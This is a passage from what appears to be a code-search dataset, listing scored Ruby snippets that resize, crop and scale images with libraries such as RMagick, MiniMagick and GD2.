write_to_temp_file(img.to_blob { self.quality = quality if quality })\n temp_paths.unshift out_file\n self.size = File.size(self.temp_path)\n end", "title": "" }, { "docid": "33563e066a44df1e885677083ee5f37b", "score": "0.69068813", "text": "def resize_image(image, options = {})\n processor = ::RedArtisan::CoreImage::Processor.new(image)\n size = options[:size]\n size = size.first if size.is_a?(Array) && size.length == 1\n if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))\n if size.is_a?(Fixnum)\n processor.fit(size)\n else\n processor.resize(size[0], size[1])\n end\n else\n new_size = get_image_size(image) / size.to_s\n processor.resize(new_size[0], new_size[1])\n end\n \n destination = options[:to] || @file\n AttachmentFu::Pixels::Image.new destination do |img|\n processor.render do |result|\n img.width, img.height = get_image_size(result)\n result.save destination, OSX::NSJPEGFileType\n end\n end\n end", "title": "" }, { "docid": "3fd77e48a732264d4895df8c4f05ae0d", "score": "0.68934274", "text": "def resize_image(params)\n # The path of the image\n path = \"public/images/#{params[1]}/#{@tempo.id}_#{params[1]}.#{params[0]}\"\n # Read the image\n img = Magick::Image.read(\"public/images/original/#{@original_image_name}\").first\n # Resize and Crop the image\n target = Magick::Image.new(params[2], params[3])\n thumb = img.resize_to_fill!(params[2], params[3])\n target.composite(thumb, Magick::CenterGravity, Magick::CopyCompositeOp).write(path)\n # Insert the width and height into an object\n @tempo.width, @tempo.height = \"#{params[2]}\", \"#{params[3]}\"\n # Add the link and tags to its DB\n add_linkID_tagsID(path,params[1])\n # Delete the image after uploading it to the storage\n File.delete(path)\n end", "title": "" }, { "docid": "8f2d453babfb8c7dcfdaec1c3e29c8de", "score": "0.68858504", "text": "def resize_to_fit(width, height)\n manipulate! do |img|\n img.resize \"#{width}x#{height}\"\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "5d6c4799cc667be43aa312cfff29b1e3", "score": "0.6862431", "text": "def resize_image(img, size)\n size = size.first if size.is_a?(Array) && size.length == 1 && !size.first.is_a?(Fixnum)\n if size.is_a?(Fixnum) || (size.is_a?(Array) && size.first.is_a?(Fixnum))\n size = [size, size] if size.is_a?(Fixnum)\n img.thumbnail!(*size)\n elsif size.is_a?(String) && size =~ /^c.*$/ # Image cropping - example geometry string: c75x75\n dimensions = size[1..size.size].split(\"x\")\n img.crop_resized!(dimensions[0].to_i, dimensions[1].to_i)\n elsif size.is_a?(String) && size =~ /^b.*$/ # Resize w/border - example geometry string: b75x75\n dimensions = size[1..size.size].split(\"x\")\n img.change_geometry(dimensions.join(\"x\")) do |cols, rows, image| \n image.resize!(cols<1 ? 1 : cols, rows<1 ? 1 : rows ) \n end\n img.background_color = \"black\"\n x_offset = (img.columns - dimensions[0].to_i) / 2\n y_offset = (img.rows - dimensions[1].to_i) / 2\n img = img.extent(dimensions[0].to_i, dimensions[1].to_i, x_offset, y_offset)\n else\n img.change_geometry(size.to_s) { |cols, rows, image| image.resize!(cols<1 ? 1 : cols, rows<1 ? 1 : rows) }\n end\n img.strip! unless attachment_options[:keep_profile]\n temp_paths.unshift write_to_temp_file(img.to_blob)\n end", "title": "" }, { "docid": "ad22e5bce3b7e1f05c4b79666c49598a", "score": "0.6813974", "text": "def resize_image\n image = params[:fleet][:image]\n return if image.nil?\n\n begin\n image = MiniMagick::Image.new(image.tempfile.path)\n image.resize '175x260>'\n rescue MiniMagick::Error\n # errors here will be caught in model validation\n end\n end", "title": "" }, { "docid": "f489550650fb60ceabe9c45d0e84abef", "score": "0.6749522", "text": "def resize_to_fit(width, height)\n width = dimension_from width\n height = dimension_from height\n manipulate! do |img|\n img.resize_to_fit!(width, height)\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "6a04e746f89f9890ede4e8b79fe35df2", "score": "0.6734267", "text": "def resize_image(img, size) \n # resize_image take size in a number of formats, we just want \n # Strings in the form of \"crop: WxH\" \n if (size.is_a?(String) && size =~ /^crop: (\\d*)x(\\d*)/i) || \n (size.is_a?(Array) && size.first.is_a?(String) && \n size.first =~ /^crop: (\\d*)x(\\d*)/i) \n img.crop_resized!($1.to_i, $2.to_i) \n # We need to save the resized image in the same way the \n # orignal does. \n self.temp_path = write_to_temp_file(img.to_blob) \n else \n super # Otherwise let attachment_fu handle it \n end \n end", "title": "" }, { "docid": "47dff52903f5c640d01ee79245a08218", "score": "0.6720004", "text": "def resize!(options)\n options = options.symbolize_keys\n raise ArgumentError, ':size must be included in resize options' unless options[:size]\n\n # load image\n img = rmagick_image.dup\n\n # Find dimensions\n x, y = size_to_xy(options[:size])\n\n # prevent upscaling unless :usample param exists.\n unless options[:upsample]\n x = img.columns if x > img.columns\n y = img.rows if y > img.rows\n end\n\n # Perform image resize\n case\n when options[:crop] && !options[:crop].is_a?(Hash) && img.respond_to?(:crop_resized!)\n # perform resize and crop\n scale_and_crop(img, [x, y], options[:offset])\n when options[:stretch]\n # stretch the image, ignoring aspect ratio\n stretch(img, [x, y]) \n else\n # perform the resize without crop\n scale(img, [x, y]) \n end\n\n if options[:format]\n img.format = options[:format].to_s.upcase\n img.strip!\n end\n\n options[:quality] ? img.to_blob { self.quality = options[:quality].to_i } : img.to_blob\n end", "title": "" }, { "docid": "c365507ded370706483e643d9c0048af", "score": "0.67165345", "text": "def resize_pic(filename,resizewidth,out_path)\n nw = resizewidth\n n = File.basename(filename)\n i = QuickMagick::Image.read(filename).first\n w = i.width.to_f # Retrieves width in pixels\n h = i.height.to_f # Retrieves height in pixels\n pr = w/h\n nh = nw/pr \n i.resize \"#{nw}x#{nh}!\"\n i.save \"#{out_path}/#{n}\"\nend", "title": "" }, { "docid": "79ee2c2a1c1dffdf5fda488a2cc7d6f7", "score": "0.6700833", "text": "def resize_image\n unless logo.nil?\n if logo.height != 100\n self.logo = logo.thumb('x100') # resize height and maintain aspect ratio\n end\n end\n end", "title": "" }, { "docid": "c2120b59321831887fdacd6ce3b62488", "score": "0.66943926", "text": "def resize_to_fit(new_width, new_height)\n width, height = FastImage.size(self.current_path)\n width_ratio = new_width.to_f / width.to_f\n height_when_width_used = height * width_ratio\n if height_when_width_used <= new_height\n new_height = height_when_width_used\n else\n height_ratio = new_height.to_f / height.to_f\n new_width = width * height_ratio\n end\n FastImage.resize(self.current_path, self.current_path, new_width, new_height)\n end", "title": "" }, { "docid": "340652bfbf42a5e2dd2611587677f64b", "score": "0.66846997", "text": "def resize_to_fit\n image = ManagedImage.from_path(params[:image])\n width = params[:width].to_i\n height = params[:height].to_i\n render json: image.resize_to_fit(width, height)\n end", "title": "" }, { "docid": "61e5c5862855b655df9e2275a60acfe9", "score": "0.6667673", "text": "def resize_to_limit(width, height)\n width = dimension_from width\n height = dimension_from height\n manipulate! do |img|\n geometry = Magick::Geometry.new(width, height, 0, 0, Magick::GreaterGeometry)\n new_img = img.change_geometry(geometry) do |new_width, new_height|\n img.resize(new_width, new_height)\n end\n destroy_image(img)\n new_img = yield(new_img) if block_given?\n new_img\n end\n end", "title": "" }, { "docid": "a4355f949250c98c125826b9490446f4", "score": "0.66609037", "text": "def resize(image, height:, width:)\n n_channels = image.shape[2]\n\n if n_channels.nil?\n bilinear_resize(image, height, width)\n else\n resized = image.class.zeros(height, width, n_channels)\n n_channels.times { |c| resized[true, true, c] = bilinear_resize(image[true, true, c], height, width) }\n resized\n end\n end", "title": "" }, { "docid": "4ff797cf23ccce3f5541567e3890893b", "score": "0.6658378", "text": "def resize_to(width, height); end", "title": "" }, { "docid": "691cdd324ba4f42f8753767ee4031359", "score": "0.66560477", "text": "def img_resize( dat, w, h, options = {} )\n quality = options[:quality]\n format = options[:format]\n\n begin\n img = GD2::Image.load(dat)\n if h == 0\n h = ( w / img.aspect ).to_i\n end\n\n puts \"resizing image… width: #{w}, height: #{h}, quality: #{quality}\" if $debug\n\n # make sure it doesn't upscale image\n res = img.size\n\n if res[0] < w and res[1] < h\n w = res[0]\n h = res[1]\n elsif res[0] < w\n w = res[0]\n h = (w / img.aspect).to_i\n elsif res[1] < h\n h = res[1]\n w = (h / img.aspect).to_i\n end\n\n nimg = img.resize( w, h )\n\n if img_type(dat) == :jpeg and quality\n nimg.jpeg( quality.to_i )\n else\n case img_type(dat)\n when :png\n nimg.png\n when :jpeg\n nimg.jpeg\n when :gif\n nimg.gif\n else\n raise 'img_resize(), unknown output format'\n end\n end\n rescue => errmsg\n puts \"error: resize failed. #{w} #{h} #{quality}\"\n p errmsg\n return nil\n end\nend", "title": "" }, { "docid": "742f6abda18b04673d0b78bf3cb9e1f8", "score": "0.6644957", "text": "def set_image_dimensions\n\t\tif !self.image_width.is_a?(Numeric) || !self.image_file_name.nil?\t \n\t\t if !image.queued_for_write[:original].nil?\n\t\t geo = Paperclip::Geometry.from_file(image.queued_for_write[:original])\n\t\t self.image_width = geo.width\n\t\t self.image_height = geo.height\n\t\t end\n\t\tend\n\tend", "title": "" }, { "docid": "29707938e6c4343c29e889bd41289b99", "score": "0.66219074", "text": "def resize(width, height); end", "title": "" }, { "docid": "adc62fdadcd829a89cc5a0b857ec6479", "score": "0.6585833", "text": "def resize_to_limit(new_width, new_height)\n manipulate! do |image|\n image = resize_image(image,new_width,new_height) if new_width < image.width || new_height < image.height\n image\n end\n end", "title": "" }, { "docid": "e61437c7a56c8d5c60acc60187313ecc", "score": "0.65751183", "text": "def resize_to_limit(new_width, new_height)\n manipulate! do |image|\n image = resize_image(image,new_width,new_height) if new_width < image.x_size || new_height < image.y_size\n image\n end\n end", "title": "" }, { "docid": "e279041f0fa9f0f6d6830d85acca07ec", "score": "0.65727806", "text": "def do_resize(height = THUMBNAIL_HEIGHT, width = THUMBNAIL_WIDTH)\n #MES- Only do thumbnailing if the Image Magick library can be loaded.\n # This is to make setup easier for other developers- they are not\n # required to have Image Magick.\n # More information on Image Magick is available at \n # http://studio.imagemagick.org/RMagick/doc/usage.html\n if RMAGICK_SUPPORTED\n #MES- Turn the blob into an ImageMagick object\n img = Magick::Image.from_blob(data).first\n if img.nil?\n logger.info \"Failed to resize image #{self.name}- unable to create RMagick wrapper for image\"\n return nil\n end\n \n #MES- Shrink the image\n return img.crop_resized(width, height)\n else\n return nil\n end\n end", "title": "" }, { "docid": "d89891ac25ad913ce76e323c4f8db4df", "score": "0.6562857", "text": "def strict_resize image, w, h\n image.resize \"#{ w }x#{ h }!\"\n image\n end", "title": "" }, { "docid": "6680fbb0444ef7647172614a2e4ecb0a", "score": "0.6559859", "text": "def resize\n image = ManagedImage.from_path(params[:image])\n width = params[:width].to_i\n height = params[:height].to_i\n render json: image.resize(width, height)\n end", "title": "" }, { "docid": "e42ea2bd8244245b7d41b028b9e58eec", "score": "0.65382725", "text": "def resize_and_save!(height = MAX_HEIGHT, width = MAX_WIDTH, validate = true)\n #KS- Only do thumbnailing if the Image Magick library can be loaded.\n # This is to make setup easier for other developers- they are not\n # required to have Image Magick.\n # More information on Image Magick is available at \n # http://studio.imagemagick.org/RMagick/doc/usage.html\n if RMAGICK_SUPPORTED\n #MES- Turn the blob into an ImageMagick object\n img = Magick::Image.from_blob(data).first\n if img.nil?\n logger.info \"Failed to resize image #{self.name}- unable to create RMagick wrapper for image\"\n return nil\n end\n \n #MES- Shrink the image\n self.data = img.change_geometry(\"#{MAX_WIDTH}x#{MAX_HEIGHT}\"){ |cols, rows, img| \n if img.rows > rows || img.columns > cols\n img.resize!(cols, rows)\n else\n img\n end\n }.to_blob\n end\n \n successful = save_with_validation(validate)\n raise \"Error: picture #{self.id} not saved properly\" if !successful\n end", "title": "" }, { "docid": "cb359998101d70cd7478806d0daf6527", "score": "0.6515087", "text": "def resize(path, image, size)\n Rails.logger.warn \"resize method\"\n return false if size.split('x').count!=2\n Rails.logger.warn \"before File.exists? check: #{size.split('x').count}\"\n return false if !File.exists?(File.join(path))\n\n Rails.logger.warn \"before mkdir: #{path}/#{id}\"\n FileUtils.mkdir_p \"#{path}/thumbnails/#{id}\" if !File.exists?(File.join(path, 'thumbnails', id.to_s))\n\n image_original_path = \"#{path}/#{image}\"\n image_resized_path = \"#{path}/thumbnails/#{id}/#{size}_#{image}\"\n\n width = size.split('x')[0]\n height = size.split('x')[1]\n\n Rails.logger.warn \"Magick::Image.read(#{image_original_path})\"\n begin\n i = Magick::Image.read(image_original_path).first\n Rails.logger.warn \"before i.resize_to_fit\"\n i.resize_to_fit(width.to_i,height.to_i).write(image_resized_path)\n rescue Exception => e\n Rails.logger.error e\n end\n\n true\n end", "title": "" }, { "docid": "f4a079cbf8f968485d99d61cf2837c81", "score": "0.6512279", "text": "def resize_to_limit(width, height)\n manipulate! do |img|\n img.manipulate!(:resize => \"#{width}x#{height}>\")\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "13c772f7a838dcc0cd817dd8ada7f491", "score": "0.649225", "text": "def resize_to_limit(width, height)\n manipulate! do |img|\n img.resize \"#{width}x#{height}>\"\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "d7a79173b1adccfef36a76e5e374a338", "score": "0.6472833", "text": "def resize_image(file_name,resize_file_name=\"test\",resized_width=0,resized_height=0,render_file_as=\"png\")\n image = Image.import(file_name)\n resize_image = image.resize(resized_width, resized_height,true)\n\n file=File.new(resize_file_name,\"wb\")\n if render_file_as == \"png\"\n file.write resize_image.png\n elsif\t render_file_as == \"jpeg\"\n file.write resize_image.jpeg\n elsif\t render_file_as == \"gd\"\n file.write resize_image.gd\n elsif\t render_file_as == \"gd2\"\n file.write resize_image.gd2\n else\n puts \"Provide proper image\"\n end\n file.close\n end", "title": "" }, { "docid": "a7240903f303c0bd70ffd4b07dd2f5b9", "score": "0.6449946", "text": "def resize(width, height)\n end", "title": "" }, { "docid": "66d3c1944d98e316827e7b733a30305c", "score": "0.6427738", "text": "def resize_to_limit(new_width, new_height)\n width, height = FastImage.size(self.current_path)\n if width > new_width || height > new_height\n resize_to_fit(new_width, new_height)\n end\n end", "title": "" }, { "docid": "566d27709bf5f8336bc2d4be13fab9b2", "score": "0.63979435", "text": "def resize\n @image.resize \"#{@placement[:a]}x#{OUTER}\\!\"\n end", "title": "" }, { "docid": "941a0504ee78262f5c31e2b547533ecc", "score": "0.63962215", "text": "def resize_to_limit(width, height)\n manipulate! do |image|\n image = resize_image(image, width, height) if width < image.x_size || height < image.y_size\n image\n end\n self\n end", "title": "" }, { "docid": "279873903cdfa7b8f3e42f16588124b6", "score": "0.6384888", "text": "def resize_to_fit width, height\n process :resize_to_fit => [width, height]\n end", "title": "" }, { "docid": "ea73032665696cadd2f0d458dfbf3576", "score": "0.63271", "text": "def process_image(src, dest, maxw, maxh)\n i = QuickMagick::Image.read(src).first\n # AMF - added quality setting to limit size of images (some sites had high quality jpeg, so files sizes were still big)\n i.quality = 75\n w, h = i.width, i.height\n extra = (w - h/(maxh.to_f/maxw.to_f)).to_i\n if extra > 0\n i.shave(\"#{extra>>1}x0\") if i.width > i.height\n w -= extra\n end\n if w > maxw or h > maxh\n i.resize(\"#{maxw}x#{maxh}\")\n end\n i.save(dest)\n end", "title": "" }, { "docid": "d08605b1170191b06cb8a59ac6488e67", "score": "0.6316283", "text": "def create_resized_image\n create_image do |xfrm|\n if size\n MiniMagick::Tool::Convert.new do |cmd|\n cmd << xfrm.path # input\n cmd.flatten\n cmd.resize(size)\n cmd << xfrm.path # output\n end\n end\n end\n end", "title": "" }, { "docid": "e71f567944bea9335eb4fed891631b01", "score": "0.62928796", "text": "def resize(path)\n img = MiniMagick::Image.open(@file)\n img.combine_options do |c|\n c.quality @options[:quality] if @options[:quality]\n c.resize \"#{@width}x#{@height}>\"\n end\n\n img.write(path)\n end", "title": "" }, { "docid": "60317e672269e1ccd04d3e2b749dc759", "score": "0.6247118", "text": "def resize_image uri, options = { }\n\n\t# parse id, mime type from image uri\n\tformat = uri.split('/').last.match(/\\.(.+)$/)[1]\n\tid = uri.split('/').last.sub(/\\..+$/, '').slugify\n\n\t# resize image and save to /tmp\n\timage = Image.read(uri)[0]\n\t\n\t# calculate width/height based on percentage of \n\t# difference of width from absolute value of 150\n\tif options[:width]\n\t\twidth = options[:width]\n\t\tscale = (image.page.width - width) / image.page.width.to_f\n\t\theight = image.page.height - (image.page.height * scale)\n\n\t\timage = image.thumbnail(width, height)\n\t\timage.write(\n\t\t\tpath = \"/tmp/#{id}-constrainedw.#{format}\"\n\t\t)\t\t\n\n\telsif options[:height]\n\t\theight = options[:height]\n\t\tscale = (image.page.height - height) / image.page.height.to_f\n\t\twidth = image.page.width - (image.page.width * scale)\n\n\t\timage = image.thumbnail(width, height)\n\t\timage.write(\n\t\t\tpath = \"/tmp/#{id}-thumbh.#{format}\"\n\t\t)\n\n\telse\n\t\twidth = 150\n\t\tscale = (image.page.width - width) / image.page.width.to_f\n\t\theight = image.page.height - (image.page.height * scale)\n\n\t\timage = image.thumbnail(width, height)\n\t\timage.write(\n\t\t\tpath = \"/tmp/#{id}-thumb.#{format}\"\n\t\t)\n\n\tend\n\n path\nend", "title": "" }, { "docid": "619fb1555268acad803c9caaf6babedf", "score": "0.623404", "text": "def scale_image(preferred_width, preferred_height)\n # Retrieve the current height and width\n image_data = ActiveStorage::Analyzer::ImageAnalyzer.new(image).metadata\n new_width = image_data[:width]\n new_height = image_data[:height]\n\n # Adjust the width\n if new_width > preferred_width\n new_width = preferred_width\n new_height = (new_height * new_width) / image_data[:width]\n end\n\n # Adjust the height\n if new_height > preferred_height\n old_height = new_height\n new_height = preferred_height\n new_width = (new_width * new_height) / old_height\n end\n\n # Return the resized image\n image.variant(resize_to_limit: [new_width, new_height])\n end", "title": "" }, { "docid": "bb702eb037d0d3c08a00179f130fb81b", "score": "0.62338126", "text": "def resize_image(download_path, resize_path, height, width, crop)\n `convert #{download_path.inspect} -resize \"#{height}x#{width}\" #{resize_path.inspect}`\n end", "title": "" }, { "docid": "9ddcfc52ff8803565c4dc75ca1eaba23", "score": "0.62176806", "text": "def resize_and_crop(size)\n manipulate! do |image|\n Rails.logger.error '----------- image:'\n Rails.logger.error image.inspect\n\n if image[:width] < image[:height]\n remove = ((image[:height] - image[:width]) / 2).round\n image.shave(\"0x#{remove}\")\n elsif image[:width] > image[:height]\n remove = ((image[:width] - image[:height]) / 2).round\n image.shave(\"#{remove}x0\")\n end\n image.resize(\"#{size}x#{size}\")\n image\n end\n end", "title": "" }, { "docid": "51358da3d84bdfa412c0d0052e1651be", "score": "0.62124443", "text": "def resize!(w, h, resample = true)\n ptr = self.class.create_image_ptr(w, h, false)\n ::GD2::GD2FFI.send(resample ? :gdImageCopyResampled : :gdImageCopyResized,\n ptr, image_ptr, 0, 0, 0, 0, w.to_i, h.to_i, width.to_i, height.to_i)\n alpha_blending = alpha_blending?\n init_with_image(ptr)\n self.alpha_blending = alpha_blending\n self\n end", "title": "" }, { "docid": "e7ab46b1756d2c7308f9640d1f2a99ed", "score": "0.6206053", "text": "def resize(width, height, resize_method)\n cropping = (resize_method != :resize_scale)\n\n # Calculate aspect ratios\n source_ratio = size.width / size.height\n target_ratio = width / height\n\n # Determine what side of the source image to use for proportional scaling\n scale_width = (source_ratio <= target_ratio)\n\n # Proportionally scale source image\n scaled_width, scaled_height = nil, nil\n if cropping && scale_width\n scaling_factor = 1.0 / source_ratio\n scaled_width = width\n scaled_height = (width * scaling_factor).round\n else\n scaling_factor = source_ratio\n scaled_width = (height * scaling_factor).round\n scaled_height = height\n end\n scale_factor = scaled_height / size.height\n\n # Calculate compositing rectangles\n source_rect = nil\n if cropping\n dest_x, dest_y = nil, nil\n case resize_method\n when :resize_crop\n # Crop center\n dest_x = ((scaled_width - width) / 2.0).round\n dest_y = ((scaled_height - height) / 2.0).round\n when :resize_crop_start\n # Crop top or left (prefer top)\n if scale_width\n # Crop top\n dest_x = ((scaled_width - width) / 2.0).round\n dest_y = (scaled_height - height).round\n else\n # Crop left\n dest_x = 0.0\n dest_y = ((scaled_height - height) / 2.0).round\n end\n when :resize_crop_end\n # Crop bottom or right\n if scale_width\n # Crop bottom\n dest_x = 0.0\n dest_y = 0.0\n else\n # Crop right\n dest_x = (scaled_width - width).round\n dest_y = ((scaled_height - height) / 2.0).round\n end\n end\n source_rect = [dest_x / scale_factor, dest_y / scale_factor, width / scale_factor, height / scale_factor]\n else\n width = scaled_width\n height = scaled_height\n source_rect = [0, 0, size.width, size.height]\n end\n\n result = OSX::NSImage.alloc.initWithSize([width, height])\n result.lockFocus\n OSX::NSGraphicsContext.currentContext.setImageInterpolation(OSX::NSImageInterpolationHigh)\n drawInRect_fromRect_operation_fraction([0, 0, width, height], source_rect, OSX::NSCompositeSourceOver, 1.0)\n result.unlockFocus\n result\n end", "title": "" }, { "docid": "71a5148e77d6cebc5ec22bd9c200f620", "score": "0.6171603", "text": "def setImage(image, width: nil, height: nil)\n @image = Asset.new(image)\n @image.resize(width, height) if (width != nil && height != nil)\n @image.applyOn(@imageBox)\n end", "title": "" }, { "docid": "edb3abbb3fa188e089b82f3da1a11fa7", "score": "0.6164585", "text": "def resize_image(image_string, dest)\n image = Gg::ImageProcessing.new(image_string)\n i_name = dest.split('/').last\n image.blob_generate(project.image_for(i_name, 'show'))\n image.blob_generate(project.image_for(i_name, 'show_image_desk'), 'desktop')\n image.blob_generate(project.image_for(i_name, 'show_image_mob'), 'mobile')\n end", "title": "" }, { "docid": "5ad729e75b0b1382468f61e3c5564c54", "score": "0.6157961", "text": "def resize(geometry)\n load_image.change_geometry(geometry) do |width, height, img|\n img.resize(width, height).to_blob\n end\n end", "title": "" }, { "docid": "bab919b3f27e766e806e5ce87e0f624f", "score": "0.61483", "text": "def crop_to_fit(width, height)\n @image = @image.crop_to_fit(width, height)\n self\n end", "title": "" }, { "docid": "f1b085efe194f58f278d2a280fd71a12", "score": "0.61057395", "text": "def resize(path)\n gravity = @options.key?(:gravity) ? @options[:gravity] : 'Center'\n\n img = MiniMagick::Image.open(@file)\n cols, rows = img[:dimensions]\n\n img.combine_options do |cmd|\n if @width != cols || @height != rows\n scale_x = @width/cols.to_f\n scale_y = @height/rows.to_f\n\n if scale_x >= scale_y\n cols = (scale_x * (cols + 0.5)).round\n rows = (scale_x * (rows + 0.5)).round\n cmd.resize \"#{cols}\"\n else\n cols = (scale_y * (cols + 0.5)).round\n rows = (scale_y * (rows + 0.5)).round\n cmd.resize \"x#{rows}\"\n end\n end\n\n cmd.quality @options[:quality] if @options.key?(:quality)\n cmd.gravity gravity\n cmd.background 'rgba(255,255,255,0.0)'\n cmd.extent \"#{@width}x#{@height}\" if cols != @width || rows != @height\n end\n\n img.write(path)\n end", "title": "" }, { "docid": "ed59bc1e901819f7bd733e63126fad89", "score": "0.60947806", "text": "def resize_retina_image(image_filename)\n \n image_name = File.basename(image_filename)\n \n image = Magick::Image.read(image_filename).first # Read the image\n new_image = image.scale(SCALE_BY)\n \n if new_image.write(image_filename) # Overwrite image file\n puts \"Resizing Image (#{SCALE_BY}): #{image_name}\"\n else\n puts \"Error: Couldn't resize image #{image_name}\"\n end\n \nend", "title": "" }, { "docid": "8503f3542748942f0120d70f6edf81c2", "score": "0.60796434", "text": "def resize_to_fill!(image, width, height, gravity: \"Center\")\n with_minimagick(image) do |img|\n img.combine_options do |cmd|\n yield cmd if block_given?\n cmd.resize \"#{width}x#{height}^\"\n cmd.gravity gravity\n cmd.background \"rgba(255,255,255,0.0)\" # transparent\n cmd.extent \"#{width}x#{height}\"\n end\n end\n end", "title": "" }, { "docid": "fd9fb04574d7a38d4e866ea83099f5f5", "score": "0.6078877", "text": "def fit\n if self.needs_to_be_resized?\n rmagick_img.resize_to_fit!(@x, @y)\n else\n rmagick_img.resize_to_fit(@x, @y)\n end\n end", "title": "" }, { "docid": "9a805f7540fee71f3a3333735ff80204", "score": "0.6070767", "text": "def resample!(image, width, height)\n with_minimagick(image) do |img|\n img.combine_options do |cmd|\n yield cmd if block_given?\n cmd.resample \"#{width}x#{height}\"\n end\n end\n end", "title": "" }, { "docid": "d3faa7d853bc2ebc237f59c7fed771b1", "score": "0.6061809", "text": "def set_image_size(file = local_file_name(:full_size))\n w, h = FastImage.size(file)\n return unless /^\\d+$/.match?(w.to_s)\n\n self.width = w.to_i\n self.height = h.to_i\n save_without_our_callbacks\n end", "title": "" }, { "docid": "c72573b7641889cb42d7241728d4daa9", "score": "0.6057319", "text": "def resize(size='512x512')\n if self.url.present?\n image = MiniMagick::Image.open(self.url)\n image.resize(size)\n image\n end\n end", "title": "" }, { "docid": "f338937b839f84ce5dbb863fcd88e41c", "score": "0.60085404", "text": "def scale(w, h, method = :bilinear)\n @image.send(\"resample_#{method}!\", w, h)\n self\n end", "title": "" }, { "docid": "25e921159db44e5ab26133a675397f9d", "score": "0.60084474", "text": "def resizeImageFocus(width,height)\n if @imageFocus != nil\n @imageFocus.resize(width,height)\n end\n end", "title": "" }, { "docid": "35ca86e5c79c6cb447aa478d46a58dec", "score": "0.60058403", "text": "def resize_to_fill\n image = ManagedImage.from_path(params[:image])\n width = params[:width].to_i\n height = params[:height].to_i\n render json: image.resize_to_fill(width, height)\n end", "title": "" }, { "docid": "18e782cdc559166cc084bc3a3d73d709", "score": "0.5996741", "text": "def resize_and_crop(size) \n manipulate! do |image| \n if image[:width] < image[:height]\n remove = (image[:height] - 135).round \n image.shave(\"0x#{remove}\") \n elsif image[:width] > image[:height] \n remove = ((image[:width] - image[:height])/2).round\n image.shave(\"#{remove}x0\")\n end\n image.resize(\"#{size}\")\n image\n end\n end", "title": "" }, { "docid": "ca3196f0e3169939a5e19de5f409a22e", "score": "0.5943971", "text": "def processed_image(image, options = {})\n size = options[:size]\n upsample = !!options[:upsample]\n\n return image unless size.present? && has_convertible_format?\n\n if options[:crop]\n crop(size, options[:crop_from], options[:crop_size], upsample)\n else\n resize(size, upsample)\n end\n end", "title": "" }, { "docid": "e55990b856854a8f883bc9ed46b4ba33", "score": "0.59355724", "text": "def resize_image(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :GET, 'File')\n end", "title": "" }, { "docid": "cc4dab7325edf97d124694392214e272", "score": "0.5928924", "text": "def set_offer_image_dimensions\n if offer_image.queued_for_write[:full_size]\n geometry = Paperclip::Geometry.from_file(offer_image.queued_for_write[:full_size])\n self.offer_image_width = geometry.width\n self.offer_image_height = geometry.height\n end\n end", "title": "" }, { "docid": "2a9cbd7cf32b1c719b44549799b751d4", "score": "0.59253985", "text": "def resize_to_fill(width, height, gravity=::Magick::CenterGravity)\n width = dimension_from width\n height = dimension_from height\n manipulate! do |img|\n img.crop_resized!(width, height, gravity)\n img = yield(img) if block_given?\n img\n end\n end", "title": "" }, { "docid": "7e402fcdf1006899b923350262db08fc", "score": "0.5900093", "text": "def scale(width: @image.width, height: @image.height,\n algorithm: 'bilineal') # bilinear, nearest_neighbor\n if algorithm == 'nearest_neighbor'\n Image.new(@image.resample_nearest_neighbor(width, height), path)\n else\n Image.new(@image.resample_bilinear(width, height), path)\n end\n end", "title": "" }, { "docid": "2438b2a071385201891673ed660ce67b", "score": "0.5890743", "text": "def scaleimage **opts\n Vips::Image.scale self, **opts\n end", "title": "" }, { "docid": "257cf108246e3e8e572d98fe79f5430c", "score": "0.587238", "text": "def resize(raw_geometry='320x240', quality: nil)\n \n geometry = calc_resize(raw_geometry\n )\n read() do |preview|\n \n preview.change_geometry!(geometry) do |cols, rows, img|\n img.resize!(cols, rows)\n end\n \n write preview, quality\n end\n \n end", "title": "" }, { "docid": "d4358d9568ae2902f2465fdeaae2cf40", "score": "0.5858697", "text": "def rmagick_resize(max_size=2048)\n OptionalGems.require('RMagick','rmagick') unless defined?(Magick)\n\n image = Magick::Image.read(file_path)[0]\n image.resize_to_fit!(max_size)\n image.format=\"JPG\"\n image.to_blob\n end", "title": "" }, { "docid": "dcf68bcb6aab4a94242e2c5b48a51bfd", "score": "0.58559525", "text": "def resize_to_height(height)\n manipulate! do |image|\n resize_image image, image.x_size, height\n end\n self\n end", "title": "" }, { "docid": "61303874984e1d79a03171d0daee0fba", "score": "0.58469653", "text": "def tile_crop_resize(image, dpi)\n size = {\n 'x' => image.columns,\n 'y' => image.rows\n }\n\n resize = false\n\n ['x', 'y'].each do |a|\n if (@field['size' + a])\n size[a] = @field['size' + a]*dpi\n resize = true\n end\n end\n\n if (@field['tile'])\n image = tile_image(image, dpi) if @field['tile']\n elsif (resize)\n scaleX = size['x']/image.columns\n scaleY = size['y']/image.rows\n\n scale = scaleX\n scale = scaleY if scaleY > scaleX\n\n image.resize!(image.columns*scale, image.rows*scale, Magick::LanczosFilter, 0.7)\n end\n\n image.crop!(Magick::CenterGravity, size['x'], size['y']) if (@field['crop'])\n\n return image\n end", "title": "" }, { "docid": "f55e05b0585632d60bcb3b54f442f02e", "score": "0.58438796", "text": "def resize(width,height)\n\t\t@buffer=@buffer.scale(width, height, :bilinear)\n\tend", "title": "" }, { "docid": "4a45a06e8bff22aac9ae16c4be5aaabc", "score": "0.58410656", "text": "def resize_to_fill(new_width, new_height)\n manipulate! do |image|\n\n image = resize_image image, new_width, new_height, :max\n\n if image.x_size > new_width\n top = 0\n left = (image.x_size - new_width) / 2\n elsif image.y_size > new_height\n left = 0\n top = (image.y_size - new_height) / 2\n else\n left = 0\n top = 0\n end\n\n image.extract_area(left, top, new_width, new_height)\n\n end\n end", "title": "" }, { "docid": "f5b074a50e8519afe5b581d200f74b47", "score": "0.5833107", "text": "def resize_post(max_width, max_height, image_file, opts = {})\n data, _status_code, _headers = resize_post_with_http_info(max_width, max_height, image_file, opts)\n data\n end", "title": "" }, { "docid": "21424862444b814b9b47f48dc0bf1b9b", "score": "0.5776972", "text": "def create_resized_image\n create_image do |xfrm|\n if size\n xfrm.flatten\n xfrm.resize(size)\n end\n end\n end", "title": "" }, { "docid": "54779412e1b086f003231f7b119870c9", "score": "0.5774954", "text": "def image=(img)\n @image_view.image = img\n 